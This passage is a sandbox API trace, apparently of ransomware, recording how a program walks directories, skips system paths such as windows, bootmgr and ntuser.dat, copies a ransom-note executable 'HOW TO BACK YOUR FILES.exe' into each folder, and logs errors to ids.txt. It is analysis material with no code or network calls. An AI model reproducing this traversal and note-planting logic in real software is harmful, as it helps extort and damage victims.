	[0063.060] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a843a90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.060] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.060] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f71d350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f71d350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0063.060] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0063.060] lstrlenW (lpString="Microsoft") returned 9
	[0063.060] lstrlenW (lpString="C:\\Users\\All Users\\Favorites") returned 28
	[0063.060] lstrcpyW (in: lpString1=0x119e62e, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0063.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0063.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b6118
	[0063.060] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7a90
	[0063.060] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft Help", lpString2="Apollon865.txt.exe") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1
	[0063.060] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1
	[0063.061] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1
	[0063.061] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1
	[0063.061] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1
	[0063.061] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1
	[0063.061] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1
	[0063.061] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1
	[0063.061] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1
	[0063.061] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1
	[0063.061] lstrlenW (lpString="Microsoft Help") returned 14
	[0063.061] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft") returned 28
	[0063.061] lstrcpyW (in: lpString1=0x119e62e, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help"
	[0063.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0063.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdf78
	[0063.061] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a50 | out: ListHead=0x5b75f0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0063.061] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="Apollon865.txt.exe") returned 1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1
	[0063.061] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1
	[0063.061] lstrlenW (lpString="Mozilla") returned 7
	[0063.061] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help") returned 33
	[0063.061] lstrcpyW (in: lpString1=0x119e62e, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla"
	[0063.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0063.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca110
	[0063.062] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a70 | out: ListHead=0x5b75f0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0063.062] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="Apollon865.txt.exe") returned 1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2=".") returned 1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="..") returned 1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="windows") returned -1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="bootmgr") returned 1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="temp") returned -1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="pagefile.sys") returned -1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="boot") returned 1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="ids.txt") returned 1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="ntuser.dat") returned 1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="perflogs") returned -1
	[0063.062] lstrcmpiW (lpString1="Oracle", lpString2="MSBuild") returned 1
	[0063.062] lstrlenW (lpString="Oracle") returned 6
	[0063.062] lstrlenW (lpString="C:\\Users\\All Users\\Mozilla") returned 26
	[0063.062] lstrcpyW (in: lpString1=0x119e62e, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle"
	[0063.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0063.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca1d0
	[0063.062] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0063.062] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3650f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
	[0063.062] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.062] lstrcmpiW (lpString1="Package Cache", lpString2="Apollon865.txt.exe") returned 1
	[0063.062] lstrcmpiW (lpString1="Package Cache", lpString2=".") returned 1
	[0063.062] lstrcmpiW (lpString1="Package Cache", lpString2="..") returned 1
	[0063.062] lstrcmpiW (lpString1="Package Cache", lpString2="windows") returned -1
	[0063.062] lstrcmpiW (lpString1="Package Cache", lpString2="bootmgr") returned 1
	[0063.062] lstrcmpiW (lpString1="Package Cache", lpString2="temp") returned -1
	[0063.062] lstrcmpiW (lpString1="Package Cache", lpString2="pagefile.sys") returned -1
	[0063.063] lstrcmpiW (lpString1="Package Cache", lpString2="boot") returned 1
	[0063.063] lstrcmpiW (lpString1="Package Cache", lpString2="ids.txt") returned 1
	[0063.063] lstrcmpiW (lpString1="Package Cache", lpString2="ntuser.dat") returned 1
	[0063.063] lstrcmpiW (lpString1="Package Cache", lpString2="perflogs") returned -1
	[0063.063] lstrcmpiW (lpString1="Package Cache", lpString2="MSBuild") returned 1
	[0063.063] lstrlenW (lpString="Package Cache") returned 13
	[0063.063] lstrlenW (lpString="C:\\Users\\All Users\\Oracle") returned 25
	[0063.063] lstrcpyW (in: lpString1=0x119e62e, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache"
	[0063.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0063.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bded8
	[0063.063] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0063.063] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="Apollon865.txt.exe") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1
	[0063.063] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1
	[0063.063] lstrlenW (lpString="Start Menu") returned 10
	[0063.063] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache") returned 32
	[0063.063] lstrcpyW (in: lpString1=0x119e62e, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu"
	[0063.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0063.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b6310
	[0063.063] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ab0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0063.063] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2f2cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1
	[0063.063] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="Apollon865.txt.exe") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2=".") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="..") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="windows") returned -1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="bootmgr") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="temp") returned -1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="pagefile.sys") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="boot") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="ids.txt") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="ntuser.dat") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="perflogs") returned 1
	[0063.064] lstrcmpiW (lpString1="Sun", lpString2="MSBuild") returned 1
	[0063.064] lstrlenW (lpString="Sun") returned 3
	[0063.064] lstrlenW (lpString="C:\\Users\\All Users\\Start Menu") returned 29
	[0063.064] lstrcpyW (in: lpString1=0x119e62e, lpString2="Sun" | out: lpString1="Sun") returned="Sun"
	[0063.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0063.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7df0
	[0063.064] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0063.064] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="Apollon865.txt.exe") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1
	[0063.064] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1
	[0063.065] lstrlenW (lpString="Templates") returned 9
	[0063.065] lstrlenW (lpString="C:\\Users\\All Users\\Sun") returned 22
	[0063.065] lstrcpyW (in: lpString1=0x119e62e, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0063.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0063.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b6358
	[0063.065] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ad0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0063.065] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
	[0063.065] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0063.065] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ad0
	[0063.065] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Templates", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates"
	[0063.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6358 | out: hHeap=0x580000) returned 1
	[0063.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0063.065] lstrlenW (lpString="C:\\Users\\All Users\\Templates") returned 28
	[0063.065] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Templates" | out: lpString1="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates"
	[0063.065] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.065] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.066] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.066] GetLastError () returned 0x0
	[0063.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.066] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.066] CloseHandle (hObject=0x15c) returned 1
	[0063.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.066] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.066] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0xffffffff
	[0063.066] GetLastError () returned 0x5
	[0063.066] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Templates\\* FindFirstFile error 5\r\n") returned 62
	[0063.066] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Templates\\* FindFirstFile error 5\r\n") returned 62
	[0063.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.067] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c47
	[0063.067] WriteFile (in: hFile=0x15c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3e, lpOverlapped=0x0) returned 1
	[0063.067] CloseHandle (hObject=0x15c) returned 1
	[0063.067] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0063.067] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Sun", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun"
	[0063.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7df0 | out: hHeap=0x580000) returned 1
	[0063.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0063.067] lstrlenW (lpString="C:\\Users\\All Users\\Sun") returned 22
	[0063.067] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Sun" | out: lpString1="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun"
	[0063.067] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.067] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.068] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.068] GetLastError () returned 0x0
	[0063.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.068] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.068] CloseHandle (hObject=0x15c) returned 1
	[0063.068] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.068] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.068] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2f2cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0063.068] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.068] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.068] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.068] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2f2cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.068] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.068] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.068] lstrcmpiW (lpString1="..", lpString2=".") returned 1
